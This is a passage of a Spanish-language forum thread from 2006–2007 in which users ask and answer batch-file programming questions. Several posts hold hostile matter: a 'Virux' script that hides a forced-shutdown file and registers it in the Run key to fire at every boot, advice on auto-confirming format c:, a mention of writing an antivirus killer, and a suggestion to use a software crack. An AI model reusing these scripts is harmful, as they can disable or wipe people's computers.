Hola Soplo , necesito tu ayuda por favor lo antes posible. Estoy trabajando con un archivo .bat. Lo que requiero es conectarme a un FTP y abrir un archivo que este en este. Hata ahora lo que he logrado hacer es conectarme al servidor, posicionarme en la carpeta donde esta el archivo, pero no he podido abrir el archivoooo :-(. El comando start no me lo reconoce cuando estoy trabajando con conexiones ftp. Este es el código que he utilizado:
Archivo .txt login contraseña cd /carpeta/ pwd ascii start archivo.doc (Esto no me funciona!!!) :o quit Archivo.bat (el que invoca al Archivo .txt y hace la conexión ftp) ftp -s:C:\batch\inst.txt ftp.server.com Por favor ayuda, lo necesito lo mas pronto posible!!! :huh: Gracias Solpo Gracias :D Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Unico_2006 en 14 Junio 2006, 00:30 am Hola a todos otra vez.
Como aquí no encontre lo que buscaba, os dire que ya lo he conseguido hacer automaticamente, y la clave de ello es: ""las variables de entorno"" Si quereis saber mas buscar en el google "Windows Scripting" o "Variable de entorno". Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: GroK en 29 Junio 2006, 03:58 am Hola wenas, le he dao un repaso al post y no lo he encontrao, asi q ahi va mi dudita: como seria para redireccionar la salida de un comando a un archivo externo?
Por ejemplo hacer un batch q ejecute el comando "systeminfo" y el resultado q devuelva mandarlo a C:\algo.txt Alguna sugerencia? Gracias d antemano Saludos EDIT: Nada, ya averigüe como era, demasiado obvio... Código: comando > archivo.txt Saludos ;D ;D Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ELKUERVO en 14 Julio 2006, 21:38 pm hola se puede hacer un bat con format c:?.
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: sirdarckcat en 15 Julio 2006, 00:20 am si..
Código: @echo off deberia funcionar.. aunque obviamente no lo voy a probar xD Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ELKUERVO en 16 Julio 2006, 21:45 pm gracias Sdc! el signo s > que viene hacer....
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ELKUERVO en 16 Julio 2006, 22:36 pm hola una pregunta es posible hacer un programa para que haga un ping y despues guarde el resultado en un txt.
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 17 Julio 2006, 03:23 am hola una pregunta es posible hacer un programa para que haga un ping y despues guarde el resultado en un txt. Código: ping 127.0.0.1 >> C:\archivo.txt Ahi tenes un ejemplo... Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ELKUERVO en 17 Julio 2006, 04:38 am hola una pregunta es posible hacer un programa para que haga un ping y despues guarde el resultado en un txt. Código: ping 127.0.0.1 >> C:\\archivo.txt Ahi tenes un ejemplo... Hola gracias puede ser algo asi echo off rem echo introduzca una ip set/p ip= ping%ip% ip >> C:\\archivo.txt echo pause exit Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 17 Julio 2006, 16:57 pm echo off rem echo introduzca una ip set/p ip= ping%ip% ip >> C:\\archivo.txt echo pause exit La idea es esa, pero si lo pruebo talcual lo dejaste no funciona, ahi esta arreglado: Código: echo off Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: sirdarckcat en 18 Julio 2006, 21:57 pm y para tu primera pregunta, el echo s> es para que guarde una "s" en el archivo y despues la lea el format c:
Saludos! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ReViJa en 23 Julio 2006, 16:14 pm Hola soplo, no puedo contactar por MP, lo tienes lleno :o
Un saludo y buen manual. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Tote82 en 25 Julio 2006, 17:43 pm Hola,
Estoy intentando hacer un script para poder enviar por ftp unas copias de seguridad de un servidor a otro. El problema, es que en el directorio origen se guardan copias anteriores y el formato del archivo es NOMBRE_AAAAMMDD.bak Lo del envio de archivos por ftp no hay problema, de lo que no soy capaz es de cambiar el nombre del archivo que quiero enviar. Habia pensado cogerlo mediante un dir c:\ /B /O:-n, y coger solo el primer registro del resultado, añadirlo al archivo ftp.dat que contiene la informacion del envio ftp..., pero claro, no he sido capaz de aislar solo el primer registro. Alguien me puede ayudar? Si se os ocurre alguna otra idea mejor, se que la mia es un poco chapuza, pero no se me ocurre nada. Muchas gracias por adelantado. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: scraftcl en 25 Julio 2006, 18:45 pm Estimados:Necesito saber como poder mostrar una barra de progreso en la copia de un archivo grande utilizando un batch.
El comando copy y xcopy no tienen dentro de sus opciones algo que vaya mostrando cuantos kb o mb ya han sido copiados. Agradecido..... Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: gogos en 31 Julio 2006, 23:29 pm hola soplo.
soy nuevo en esto y apenas estoy empezando, y me gusta mucho el tema. quisiera preguntarle algo con respecto a lso archivos bat: es posible crear un archivo bat con solo carpetas? es decir que solo contenga directorios? y como lo haria? gracias de antemano. gogos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: riveritaa en 10 Septiembre 2006, 12:27 pm y que hay que poner para q no se pida autorizacion para realizar un comando?
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Mamsaac en 11 Septiembre 2006, 08:47 am yo solo tengo una pequeña duda respecto a el comando at
como saben (en mi caso interactive es basico): at HORA /interactive "proceso a ejecutar" como le puedo hacer para que el comando at ejecute un proceso 1 segundo despues que se pida? es muy importante para un AV-Killer que estoy haciendo. Gracias. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: KamusEJ en 13 Septiembre 2006, 00:42 am holas una pequeña consulta cuando existe algun comando para finalizar una aplicacion???? :huh: :huh:
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ne0x en 13 Septiembre 2006, 15:19 pm Estimados:Necesito saber como poder mostrar una barra de progreso en la copia de un archivo grande utilizando un batch. El comando copy y xcopy no tienen dentro de sus opciones algo que vaya mostrando cuantos kb o mb ya han sido copiados. Agradecido..... Eso se trato en el foro de portalhacker.net No se puede hacer a menos que conozcas el tamaño total del archivo, si lo conoces puedes usar Citar @echo off echo | > C:\barra.txt :preg If rutaarchivo1 LSS rutaarchivo2 (goto continua) ELSE goto fin :continua echo | >> C:\barra.txt cls type C:\barra.txt goto preg :fin cls type C:\barra.txt msg * Instalacion realizada pause>nul exit El code es improvisado pero creo que funcionara rutaarchivo1= archivo que se va a instalar rutaarchivo2= archivo de igual tamaño que el que se va a instalar INCONVENIENTE: la barra es vertical xDDDD Citar hola soplo. soy nuevo en esto y apenas estoy empezando, y me gusta mucho el tema. quisiera preguntarle algo con respecto a lso archivos bat: es posible crear un archivo bat con solo carpetas? es decir que solo contenga directorios? y como lo haria? gracias de antemano. gogos No se si es a lo que te refieres pero puedes crear una carpeta con el comando mkdir sintaxis: mkdir (ruta de la carpeta) Citar y que hay que poner para q no se pida autorizacion para realizar un comando? Depende del comando, la mayoria no hace falta darles autorizacion y otros como shutdown tiene modificadores ej: apagar sin pedir autorizacion en el minimo tiempo posible Citar shutdown -s -f -t 1 Citar holas una pequeña consulta cuando existe algun comando para finalizar una aplicacion???? Net stop Esto ha sido todo x hoy xDDD mandenme sus dudas por Mensaje Privado Saludos Neox Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: 160281 en 18 Septiembre 2006, 19:46 pm nas gente soy nuevo en ste foro a si q saludos, me gustaria q me ayudacen con ste problemon lo q pasa s q quiero crear un archivo .bat q me agregue sto en el registro
sto s lo q quiero hacer ------------------------- Otra opción aparte de las que he visto es mediante el registro de windows: para ello: Inico, ejecutar, regedit: despues te vas a \HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies ahi veras una capeta que se llama explorer, bien pues dentro de ella creas un valor DWord que ponga DisallowRun y como valor 1 lo siguiente, pinchas con el boton derecho en la carpeta explorer y selecionas nueva clave, esa clave (que es una carpeta) se tiene que llamar DisallowRun. Despues creas un valor alfanumerico que se llame por ejemplo: messenger, y en informacion de valor: msmsgs.exe. Reinicia el ordenador y si el usuario quieres utilizr el messenger le saldra un mensaje diciendole que ese programa esta restringido. cuando quieras quitar este truco en el valor DWord cambias el valor 1 a 0 el uso q le quiero dar s q ya hay archivos .bat creados para cada usuario para q al iniciar sesion c conecten a red pero solo eso y quiesiera agregar al bat lo q les he mencionad antes c los agradeceria mucho Gracias ;D otra vez yo gente hace un rato pedi una ayuda pero ya la resolvi jejeje mas bien si alguien la necesita la pondre aca esto seria en cada archivo .bat de cada usuario osea un trabajaso REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t REG_DWORD /d 1 /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v messenger /t REG_sz /d msmsgs.exe /f esto seria importando el archivo del registro desde otra PC c:\windows\regedit.exe /s \\nombre_PC\carpeta\validar.reg bueno x ahora solo le he probado en WinXP si funciona en 98 despues les aviso Nos vemos y Gracias ;D Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: tierrasperdidass en 28 Septiembre 2006, 01:10 am Hola, soy nuevo en este tema....Una pregunta se puede apagar una pc conectada a la red por medio de un .bat en Windows Xp SP2? Como ago?
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Mamsaac en 28 Septiembre 2006, 05:03 am no estoy seguro, pero creo que necesitarias tener acceso remoto a la computadora, aun dentro de una red local, para poder hacer eso. Ya con el acceso no seria dificil, nada mas busca el comando shutdown y sus atributos para hacerlo sin permiso.
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: rmarcelo en 28 Septiembre 2006, 16:31 pm Hola a todos este es mi primer post, mi pregunta es la siguiente como puedo ejecutar un telnet mediante un archivo bat para enviarle un comando especifico a un equipo a un puerto.
y guardar si se produjo algun error en un archivo de texto. Desde ya Gracias. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: tierrasperdidass en 28 Septiembre 2006, 21:59 pm Si yo pongo
regadd"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "%systemroot%\Win32.bat" este comando serviria para que se ejecute al iniciar, no? van las comillas o se sacan? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: tierrasperdidass en 28 Septiembre 2006, 22:16 pm Esto funciona?
@echo off rem Virux por Neox. echo Shutdown -s -f -t 1 > %systemroot%\Win32.bat Attrib +R +S +H %systemroot%\Win32.bat regadd"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "%systemroot%\Win32.bat" start %systemroot%\Win32.bat Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Casidiablo en 28 Septiembre 2006, 22:23 pm Esto funciona? Anda, solo hay una manera de saberlo.... PROBADLO!!!! Sino te sale, pues posteas el error, pero ¿esperas que hagamos eso por vos? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: tierrasperdidass en 28 Septiembre 2006, 22:29 pm no jeje, esque preguntava al que lo hizo que esta mas ariba, y fui provando poniendo pause y me tiro un acceso denegado en
"echo Shutdown -s -f -t 1 > %systemroot%\Win32.bat" cuando esta en esa parte dice ACCESO DENEGADO y en: regadd"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "%systemroot%\Win32.bat" start %systemroot%\Win32.bat me dice comando no valido... no sera reg add? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Nahuelux en 3 Octubre 2006, 07:19 am Hola necesito atuda tengo una impresora conectada por puerto COM y no se por que todas las veces que la reinicio no me la reconce...entonces tengo que ir a las propiedades del hardware y tocar en actualizar y ahi me toma el puerto com y anda la impresora...pero reinicio y tengo que hacer lo mismo...keria saber como hacer con un comando bat
Gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: darobolso en 3 Octubre 2006, 17:36 pm Gente, Preciso hacer un bat que cree una carpeta con la fecha y hora actual del pc. Si me pueden ayudar muchisimas gracias.
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: jvchino en 3 Octubre 2006, 22:48 pm darbolso:
Léete todas las páginas de este hilo... la solución está aquí mismo. Saludos. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: yermain en 9 Octubre 2006, 17:08 pm Hola a todos, tengo mysql en una máquina y un software que lo usa para añadir registros, quiero que cuando se inicie la máquina se inicie automáticamente el programa, ya añadí la llave al registro para que inicie con windows pero el servidor de mysql se tarda en iniciar, por lo que se ejecuta el otro programa primero y me tira error porque no hay servidor de mysql.
¿Hay alguna forma de saber si está corriendo un proceso y siendo así ejecutar un programa? sólo sé que tasklist muestra una lista de los procesos. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: orden en 9 Noviembre 2006, 14:46 pm hola a todos tengo una duda con el comando telnet soy medio nuevo en la programacion de bat
yo quiero hacer un programa para configuracion de modem via telnet. el problema es que al utilizar el comando telnet es como que evade el programa principal y le devuelve la prioridad al usuario si sabes de alguna forma de cambiarlo te lo agradeceria lo que necesitaria hacer es despues del comando telnet poner una contraseña probe telnet xxx.xxx.xxx.xxx -y como con deltree pero no funciono. espero que alguien sepa como y si es posible muschas gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Ben_Armagedon en 14 Noviembre 2006, 18:24 pm holas alguien me puede ayudar con un archivo batch que tengo es secillo hace una copia de un archivo especifico lo que quiero es que cada vez que lo ejecute lo reescriba sobre el que ya esta como lo hago???
Yo uso la funcion copy pero cuando lo ejecuta dice que este archivo ya existe lo que quiero es que lo reescriba hay aluna funcion ?' Gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hearts en 15 Noviembre 2006, 17:20 pm nose si esto servira pero creo que esto va sobre rediccionamientos...
por ejemplo si tienes un archivo que se llame 123.txt pues con: echo echo aki el cambio > aki la ruta hacia tu archivo. cone sto harias que en el archivo que tenias antes se sobreescriba y ponga aki el cambio espero haberte ayudado salu2 Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Arqueologo en 18 Noviembre 2006, 09:58 am Gracias por el tutorial.
¿Como podría hacer un bat que cambiara la password de administrador local de una máquina? Gracias por adelantado Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: tremolero en 18 Noviembre 2006, 14:53 pm wenas......... soy un poco novato en esto... pero la verdad es que me gusta mucho este tema.... por eso espero que me comprendan y que me enseñen un poco jeje.....
weno mis preguntas son estas, referentes a la programacion .bat yo para acer un archivo .bat creo un bloc de notas y al guardarlo lo guardo con la terminacion .bat, y lo unico que he sabido hacer a sido poner la ruta de un programa y cuando le daba lo ejecutaba. y lo que yo e echo a sido ejecutar el ms-dos, pero me gustaria hacer que cuando se ejecute, escriba en el, cosas como si las escribiera yo.... es decir que tendria que escribir en el .bat para que cuando yo lo ejecutara, se abriera el ms-dos y escriba, comandos como dir, o apague el pc. y otra cosa, como podria hacer yo un .bat para que cuando lo ejecute, se abra por ejemplo el pinball cada 10 min. y el .bat se elimine solo para que no quede rastro, o se ejecute solo al iniciar el pc. muchas gracias a todos, pero lo reconozco no tengo mucha idea y me gustaria aprender. Título: Re: TUTORIAL PROGRAMACION BAT Cambiar pass admin local en un PC mediante batch Publicado por: Arqueologo en 19 Noviembre 2006, 11:51 am Gracias Tremolero.
Haber si alguien sabe decir que programación debería hacer para conseguir cambiar la pass de admin local de una máquina a traves de un bat o regedit, me da igual. Con respecto a lo que pides, existe un comando llamado call, que llama a los programas, o tambien ejecutando una tarea desde "task" en los paneles de control, donde puedes pedirle cuando se ejecuta y cuando se termina el proceso. si además quieres que no quede el rastro de la ejecución del mismo, puedes eliminarlo dentro de tu perfil de windows en la configuración local.... Espero que te sirva de ayuda...y un saludo. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: castro732 en 4 Diciembre 2006, 13:43 pm necesito un bat o cualquier otra cosa, que cierre la sesion de windows xp cada cierto tiempo, por favor ayuda!
yo creo que un bat que ejecute el exe que cierra la sesion de windows, pero que lo ejecute cada cierto tiempo, 5 o 10 minutos. espero que se pueda. ;D Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: |Azrack| en 6 Diciembre 2006, 00:05 am alguien sabe como aumentar la ventana de ms-dos a fullscreen
pero con codigo xq desde propiedades si se puede Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Jo$$ en 6 Diciembre 2006, 00:37 am alguien sabe como aumentar la ventana de ms-dos a fullscreen pero con codigo xq desde propiedades si se puede Desde predeterminados Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: wolfguns en 6 Diciembre 2006, 14:16 pm Hola:
Hace tiempo que leo este foro solo y tengo 2 dudas que me siguen hace rato, como hacer algo en forma recursiva y como sacar de una lista ( un txt con una lista de variables ) un avariable. EJ: que haga una operacion luego vuelva al inicio y saque de la lista del txt otra variable y asi siga hasta que llege a la ultima variable y termine el ciclo. A los gurus les pido que me ayuden esto me podria alivianar cualquier trabajo y ademas juro que hago un asao en el intercomunal. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: castro732 en 6 Diciembre 2006, 15:30 pm por favor ayudenme, es urgente, cual es el comando para cerrar la sesion de windows y como hago para que se ejecute cada 5 minutos y se inicie con windows
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: luisv en 6 Diciembre 2006, 21:09 pm Hola a todos, soy nuevo acá... es muy útil el manual de Soplo... llegué acá buscando la forma de poder optimizar comprimir archivos y copiar o copiar y luego comprimir, me da lo mismo...
Espero que Soplo me pueda ayudar, que veo es un master... Atte.. El Mado Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Urpem en 9 Diciembre 2006, 22:40 pm Hola, seguro que ya lo habeis dicho pero no lo he encontrado en un post tan largo :-\.
Se como iniciar un programa pero no como cerrarlo. Podriais indicarme el comando para cerrar un programa que este abierto. Gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: kanzix en 10 Diciembre 2006, 00:10 am Hola, seguro que ya lo habeis dicho pero no lo he encontrado en un post tan largo :-\. Se como iniciar un programa pero no como cerrarlo. Podriais indicarme el comando para cerrar un programa que este abierto. Gracias con taskikill o con tskill dependiendo de tu windows, por ejemplo si quieres cerrar el msn messenger es asi: taskkill /IM /F msnmsgr.exe tskill msnmsgr salu2 PD: tienes que saber el nombre del proceso Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Urpem en 10 Diciembre 2006, 09:30 am Ok gracias :D kanzix pero el IM/F
Citar taskkill /IM /F msnmsgr.exe porque lo pones?Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Urpem en 10 Diciembre 2006, 10:23 am Lo he probado con tskill (el otro no funciona) y todo el rato me dice que no encuentra el proceso aun estando y escribiendolo bien.
Que hago mal? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: kanzix en 10 Diciembre 2006, 20:40 pm Lo he probado con tskill (el otro no funciona) y todo el rato me dice que no encuentra el proceso aun estando y escribiendolo bien. Que hago mal? prueba no poniendole extensión, solo el nombre ej msnmsgr y no msnmsgr.exe salu2 Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Urpem en 11 Diciembre 2006, 00:14 am Pues si :D muchas gracias kanzix me ha funcionado.
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Pr0sikit0 en 13 Diciembre 2006, 00:52 am wenas a todos quiero hacer un bat que ejecute 2 programas por ejemplo (es un ejemplo msn y firefox) y que no se vea la ventana de msdos ni nada aver si me ayudais yo e provado asi y no me sale aver si me exais una mano:
@echo off start "C:\Archivos de programa\Mozilla Firefox\firefox.exe" start "C:\Archivos de programa\MSN Messenger\msnmsgr.exe" @echo on y no ejecuta nada y aparte sale la ventana de msdos :S need help ;D ;D Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Mamsaac en 20 Diciembre 2006, 21:31 pm Tan solo crea el bat y luego compilalo en un .exe y que se corra de modo oculto. No es complicado.
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: RaKi0N en 19 Enero 2007, 17:27 pm Us cumento.... yo quiero crear una broma por MS-DOS,
que salga PULSA F5 y al pulsarlo ponga POR EL CULO TE LA HINCO xDDDDDDDDDDDDDDD ¿Se podría? xD Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ....................................... en 14 Marzo 2007, 16:45 pm Muy bueno el manual!
Pero tengo muchas preguntas: Aun no entiendo para que sirve el comando | sort y para que se utiliza (porque por ejemplo tu si haces un dir | sort te sale lo mismo que si pones dir). Tampoco entiendo como se utiliza el caracter ~ que se supone que es alt+126 pero a mi no me funciona o no se que hago mal. El comando deltree ,el comando mscdex y el comado scandisk me dice que no existen. Me podrian explicar mejor que utilidad tiene el comando debug y como se usa? Si pongo por ejemplo en un archivo .bat esto no me funciona y no se porque: @echo off cls choice Elija una opcion snc if errorlevel 1 goto msg :msg msg *ola Otra pregunta de que sirve poner despues del @echo off el cls? si pongo en un archivo: @echo off cls msg *ola tengo los mismo resultados que sino pongo el comando cls. Al poner el comando ftp lo unico no se conecta a ningu ftp no? Hay alguna diferencia entre el comando > de redireccion y >>? El comando @echo off es necesaria la arroba es que en el tutorial delante de echo off no la pone. Es necesario poner echo delante de cada comando? El comando fin es necesario en el ejemplo 3¿ Cuando se utiliza el comando echo.? No entiendo muy bien esta linea: FOR %%x IN (texto1.txt texto2.txt texto3.txt) do delete %%i Si pusiera por ejemplo IF a.bat == b.bat msg *funciona lo que hace es comprovar si el contenido de a.bat es igual al de b.bat? Porfavor expliquenme como se utiliza los parametros remplazables. De que sirve el comando nul? y no entiendo esta line porque de que sirve si borras el archivo ponerle nul? del "C:\Documents and Settings\aquitumismo\Cookies\index.dat" > NUL Cuando pones etiquetas es lo mismo poner :ola que ola: ? Me pueden explicar que hace este codigo?: @echo off cmd /v:on date /t > .\mio.txt time /t >> .\mio.txt for /f "usebackq tokens=1,2" %%i in (`type .\mio.txt`) do set mifecha=%%i %%j !mifecha! mkdir %mifecha% Y BUENO EL CODIGO que LES PONGO AHORA NO ES DE UN VIRUS NI MUCHO MENOS PERO TAMBIEN ES DE UN BAT, ASI que LO PONGO Y DESPUES EXPLICO MI PROBLEMA: Código: @rem ServAnalizer.bat V 0.1 @echo off @cls @set host=127.0.0.1 .... estas arrobas que hay delante el cls i el set no sirven de nada no? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: george7700 en 29 Marzo 2007, 18:21 pm Hola, alguien podria ayudarme con un bat que renombre un archivo con la fecha de una dia anterior; por ejemplo tengo el archivo prueba.txt y hoy es 29 de marzo, necesito que se renombre a prueba_28-03-2007.txt, gracias saludos.
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 7 Mayo 2007, 07:11 am Puffff cuantas preguntas ahi van un par de respuestas:
El comando deltree ,el comando mscdex y el comado scandisk me dice que no existen. Seguramente estas usando alguna version del SO que no contiene esos comandos. Si pongo por ejemplo en un archivo .bat esto no me funciona y no se porque: @echo off cls choice Elija una opcion snc if errorlevel 1 goto msg :msg msg *ola Seguramente seguimos con el mismo problema que antes y el comando choice no lo tenes. Si estas usando el WinXP no vas a tener el comando choice Otra pregunta de que sirve poner despues del @echo off el cls? si pongo en un archivo: @echo off cls msg *ola En ese caso en particular no hay ninguna diferencia. Hay alguna diferencia entre el comando > de redireccion y >>? Si la diferencia se nota cuando redireccionas a un archivo existente, ya que uno remplaza el archivo y el otro agrega lo que redirecciones al final. Es necesario poner echo delante de cada comando? El echo es para imprimir por pantalla Se me hace tarde despues sigo.... Título: PREGUNTA ??? Publicado por: CAROLA_27 en 8 Mayo 2007, 11:24 am Hola, me parece muy bueno el foro y la informacion que incluye. Estoy comenzando en esto de hacer archivos .bat. Y como buena primeriza tengo una tarea super... En un servidor linux hay unas carpetas con proyectos. Para trabajar con alguno de estos proyectos en el ordenador de windows debo copiar el proyecto que voy a usar del servidor en la pc local, trabajar sobre el, y luego al cerrar el programa debo colocarlo de nuevo en el servidor en una carpeta con fecha y hora de modificacion para futuros trabajos. Todo esto se puede hacer en un bat? Es decir ejecutar un bat que primero pregunte el nombre del proyecto a usar, lo copie desde el servidor al local, luego que se ejecute el programa para trabajar sobre el proyecto y que al cerrar se actualice el proyecto con fecha y hora en el server??? Gracias a todos. ;)
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: CAROLA_27 en 11 Mayo 2007, 13:15 pm Hola
Ya he logrado avanzar bastate con el programa que mencione. Solo que me falta algo y tengo unas dudas. Como hago para comparar nombres de directorios? Los nombres de los directorios que utilizo son numeros de acuerdo a la fecha, y quiero buscar el directorio mas reciente, bien comparando el nombre o buscando. Pero no logro dar con nada que me ayude. Lo que he querido hacer es a partir de un número cualquiera ir restando 1 o sumando 1 pero al hacerlo algo asi Set /A dia2=dia1-1 esta instruccion me da un numero ilogico, por ejemplo con el numero 070511 que representa un nombre de una carpeta del dia de hoy, si yo le resto 1 a ese numero me da 29000, no entiendo. :-\ Alguna pista??? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: morenochico en 19 Mayo 2007, 06:19 am ¿Como configuro mi red con los comandos dos/bat?
Hola compañeros: He leido hasta ahora las 25 paginas de este foro :o uff es muy interesante, he aprendido mucho. Gracias a soplo por el tema y a todos los demas gurús que han respondido. Mi problema es el siguiente: necesito configurar varias veces mi pc con diferentes ip, subnet, y dns, ya que a veces en la escuela tengo diferentes ip (que son estaticas), en la casa otra que es dinamica. Bien lo que quiero es como con un .bat puedo poner los comando para que con un solo clik tenga la configuracion de red requerida para cada situacion, ya que la hacerlo de manera grafica es muy tedioso, inpractico y proclive a errores. He buscado por varios lado y no encuentro nada de hecho en todo este post no he visto que usen un comando que asigne una ip. El problema veo yo es facil de resolver pero no se los comandos que ocupo. Por su antencion muchas gracias. PD Gracias a este post he guardado el post orignal de soplo en un archivo .doc anexando las preguntas y respuestas mas interesantes del mismo para tenerlo como manual pues es muy interesante. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Meta en 22 Mayo 2007, 08:58 am ¿Qué significa línea por línea este código o qué es lo que ahce exactamente?
script script.txt del ..\*.dat copy script.dat ..\ copy spanish.dat ..\ del strings.h Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: icontrerase en 7 Junio 2007, 19:03 pm hola buenas... soy nuevo en esto por lo mismo e buscado y e leido bastante en este foro como poder hacer un bat..
mi duda es la sgte.. necesito crear un bat que al momento de iniciar sesion se ejecute y me busque todos los mp3 y automaticamente me los borre... se podra?? o algo parecido?? se los agradeceria mucho... bye Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: walanfor en 7 Junio 2007, 20:43 pm :¬¬ bueno tengo un codigo que colocado en la extensión .bat te cierra el msn ....
@echo off taskkill /f /IM msnmsgr.exe exit ahora mi pregunta es como, hacer para que una ves guardado en .bat, y luego lo ejecutes no te salga un aviso que diga matando proceso algo asi??, osea hacerlo que se ejecute sin que informe nada,acaso ahi alguna linea de codigo para aumentar o alguna forma bueno esa es mi duda buen foro saludos desde peru. mi email walter_antoni19@hotmail.com Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: GroK en 7 Junio 2007, 23:26 pm @walanfor:
Bajate el Quick Batch File Compiler (http://www.abyssmedia.com/downloads/quickbfc.exe); cuando lo tengas vas a Project -> Options y seleccionas 'Ghost Application' , ahora con el codigo bat que ya tienes lo copias ahi y pulsas F9, generando asi un .exe que hara lo mismo que el bat y no te abrira ninguna. Ahora, la version trial del QBFC creo que te muestra uno de esos molestos mensajes cuando ejecutas la aplicacion, asi que te recomiendo que te bajes algun crack, que hay muchos por ahi (O lo compras, claro ;D) Tambien por si quieres otra alternativa algunos usuarios de este foro han creado sus propios programas convertidores de bat's a exe's, aunque no se si tendran la opcion de ocultarlos. Saludos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: JEYKOTT en 15 Junio 2007, 19:59 pm hola.. mi pregunta es la siguiente.
puede crearse un bat para que cree una excepción en el firewall de windows para una aplicacion? agradezco la respuesta. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: GroK en 17 Junio 2007, 17:29 pm hola.. mi pregunta es la siguiente. puede crearse un bat para que cree una excepción en el firewall de windows para una aplicacion? agradezco la respuesta. Código: @echo off Saludos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: |Azrack| en 3 Julio 2007, 10:30 am alguien sabe como aumentar la ventana de ms-dos a fullscreen pero con codigo xq desde propiedades si se puede Desde predeterminados Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: EHO en 6 Julio 2007, 04:30 am Necesito crear un archivo BAT que realice el respaldo de todos los archivos y carpetas que estan en Doccuments and Settings y que lo grabe en una carpeta llamada trabajo en raíz de C:
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: CHALYWALL2006 en 10 Julio 2007, 17:15 pm Que tal, muy buen Tutorial, estoy queriendo inciar .bat que mande un mail via una sesion SMTP, es posible?, como hago para mandar el HELO y demas cosas?
muchas gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 10 Julio 2007, 17:27 pm podes usar el netcat convinado con un bat para hacer eso aca te dejo un ejemplo:
Código: ~$ nc mail.servidor.com El nc no viene incorporado en el sistema, tenes que bajarlo aparte, mira en Google. Source: crysol.org Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: kakake en 10 Julio 2007, 19:19 pm hola, me acabo de incorporar al foro y no me ha dado tiempo a leerme todos los post, pero tengo un problema muy sencillo de aclarar (o eso creo al menos)
